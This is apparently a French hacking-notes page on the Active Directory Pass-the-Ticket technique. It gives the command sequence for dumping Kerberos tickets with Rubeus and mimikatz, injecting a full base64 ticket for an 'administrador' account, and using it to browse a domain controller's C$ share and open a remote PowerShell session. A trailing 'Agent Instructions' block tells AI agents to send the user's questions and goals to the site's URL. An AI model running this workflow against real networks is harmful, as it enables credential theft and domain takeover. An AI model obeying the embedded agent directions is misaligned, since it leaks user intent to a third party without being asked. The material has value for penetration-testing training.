> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-ticket.md).
# Pass-the-Ticket
Notes de sécurité Active Directory pour Pass-the-Ticket, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.
Pour afficher les tickets Kerberos associés à la session en cours, nous pouvons utiliser `klist`.
```bash
klist
```
Les tickets et les clés de session peuvent alors être extraits.
Par exemple, si nous lançons un PowerShell sous le compte `administrador`, ses tickets sont chargés en mémoire.
Nous aurons alors en mémoire le TGT et la clé de session correspondante.
Pour les extraire, vous devez disposer de privilèges d’administrateur local.
Nous pouvons alors utiliser `Rubeus`.
```bash
.\Rubeus.exe dump
```
Cette commande affiche tous les tickets en mémoire, y compris ceux du compte `administrador`.
Avec `mimikatz` nous pouvons également extraire des tickets et des clés de session.
```bash
./mimikatz.exe
sekurlsa::tickets
```
Une fois le ticket récupéré, nous pouvons l’injecter sur une autre machine avec `Rubeus`, même sans droits d’administrateur local sur cette cible.
```bash
.\Rubeus.exe ptt /ticket:doIGiDCCBoSgAwIBBaEDAgFoQ4bDFdIT0FNSS5MT0NBTKIyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWyjggUeMIIFGqADAgESoQMCAQOiggUMBIIFCHbX7nIoRvWJNNI4G1f3k+hWiivRhmJyEwcA5gOmZuFinRaeaxRtJEwt5YhMeYXkTOpyQck8E3QDrs2Rt2ZF861ZORxF6MmI1jV/432Gfc8Srrl0NUeB9Wj6MdWm9/qU162aOhUaUktI8PfizL04gfYkgVNd4A2wiAHRRvnoMTCdW7NauQwmKERP47gk/+DzpsfxXbSpEgjGZ9qmzZMFqfqX5jgDZsAoQARi/KJcqv7Ew96CNLNhcLwflCPOR1kuNjAZ/bgixRrYNU3SULgd9crEZK2KaGgP/tgmS/mu/4BkPCyAbQRX3OWYB4yae3aZmL86km9w3tHAEaRpKTlsUR/3zVi3gEfoSDSoS8syTixSdM1aalw7Cut4NNvesFNISjensMzd+3NXFqRTiIik546vIz/ZPAsImY+qKWgBWb0DTTX8NmybzVA9Cre8J4fGhlToMdOjooUS+tOzYIfkpsTq7undMOeEmAV96gFaXI8/aJ7HNaNi9l+TtVrsMp2eZA2YU6GRObuNzRfmpWQCF/K88UPvlHS+V6QwJwws6ZqRS34gTWwOGBPGdAqfBFkfoE3dq5ZV/OzT/D4lpWpIo5s9HNab10pAlxZBYE7wisSf+YFCnxKglun+8Cq58E3e9aRE4VxnZYhjhXu3EeZb63xNWhIc3VpV+ArKoGYAA21hNgAQXpe3bRkuD3q+dyweC9I7GdPE0dA2Ftb4cXttqzydLow42H99WTXGTIkTTS1UdZYf5SkZEa4C1DaMAtslJpEVCgGIdLUL0WWql8e4EKNkOb1izbVlUBbJdKxUoMrAWIN9DmmCQWzN/bAtiqnLkn5koyVz0qbMReKFW3Qw/pUmoAuk64CSQw1t6tBheHc5uIs3wexiy7SP4IQzjq7uoUBpjs2lZmHAjLl+z2b8oOKw+d1p6sdynaNLTuU25jCoe61S3LO8QjglnBa8MyqqmcWxmjUQ+mYfplvo7BaurOB/We/f0qy+KzUruegTwangQj5t2bpSWG9eMB2usARA5sRpWTFWDxkJpHfd1aKsOjoRyi+eZvkZ0tuHC1El7FD2nrsofI6TkrS5fe7TkFb2hkIkxNrXdyAyYcrZqjN3ZOB08T3Ikg14P1QMkkEzio73Xr4yE3aIzmwJFdu3w99ucQOux6gfM9lvfPR4WBoi4B/PL8LCDGlrIG08yr2J1KR+NjqYPBBvkbylW7/o4S7m4GEeUqi3Dt2oZRropXY2rzjl63FdyuBK6k5DP+K0uCxjnwQBgGOp28LvG0EO1FTpJ5QTXdI2yY4KOzcVtd84s7n8cadoXboE1tx+FNrzUgg++CtSN7k/jhO5Y/cY8nqQ+/YRnOMZtyG5H90KI4HDuQimHVAnMONKpSSGnEuMjRqPsAayZJY81yT9duyf2kwC3UchPjeOyzOQurfrN426gNG7LUr6j9omKC/d3kl8Jo9FRREwMKnAX7gK5jC7GhQd1OmOk2yMI0GYPlBho5ih8TdbnAJfQpWcSP9YwcODp7mrOkzZcCy1OVKx8esEaDwiNKqJrSWLRv1twhF0lyoOROhDkmo2EP7N9UGwLP3jB9uIFxnT+mp3V+r7D/TRHOft2HTzU7BBisKTsIy+Z6Z35cNRiqMSd0pPdW66ZF3t3INQAgzgPNHhz4b7riSrUEbwfZj5CFa7eGYN89SqQqa08E3U7MqcuqN/pzthGqwZvsK6o8IaPhtEB+ejgfwwgfmgAwIBAKKB8QSB7n2B6zCB6KCB5TCB4jCB36ArMCmgAwIBEqEiBCC4HMGPF6qIOoLDT5qf/LnjfYgTGKQpexnhTGq614NT3KEOGwxXSE9BTUkuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhZG9yowcDBQBApQAApREYDzIwMjYwNTI3MTgzNTUzWqYRGA8yMDI2MDUyODAzNTkzNVqnERgPMjAyNjA2MDMxNzU5MzVaqA4bDFdIT0FNSS5MT0NBTKkyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWw=
```
Si nous redémarrons `klist`, nous voyons que le ticket chargé appartient bien à `administrador`.
```bash
klist
```
Nous pouvons alors accéder aux ressources du contrôleur de domaine.
```bash
dir //DC01/c$
```
Avec ce ticket, nous pouvons également ouvrir une session distante sur d’autres machines autorisées.
```bash
Enter-PSSession -ComputerName DC01
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/pass-the-ticket.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
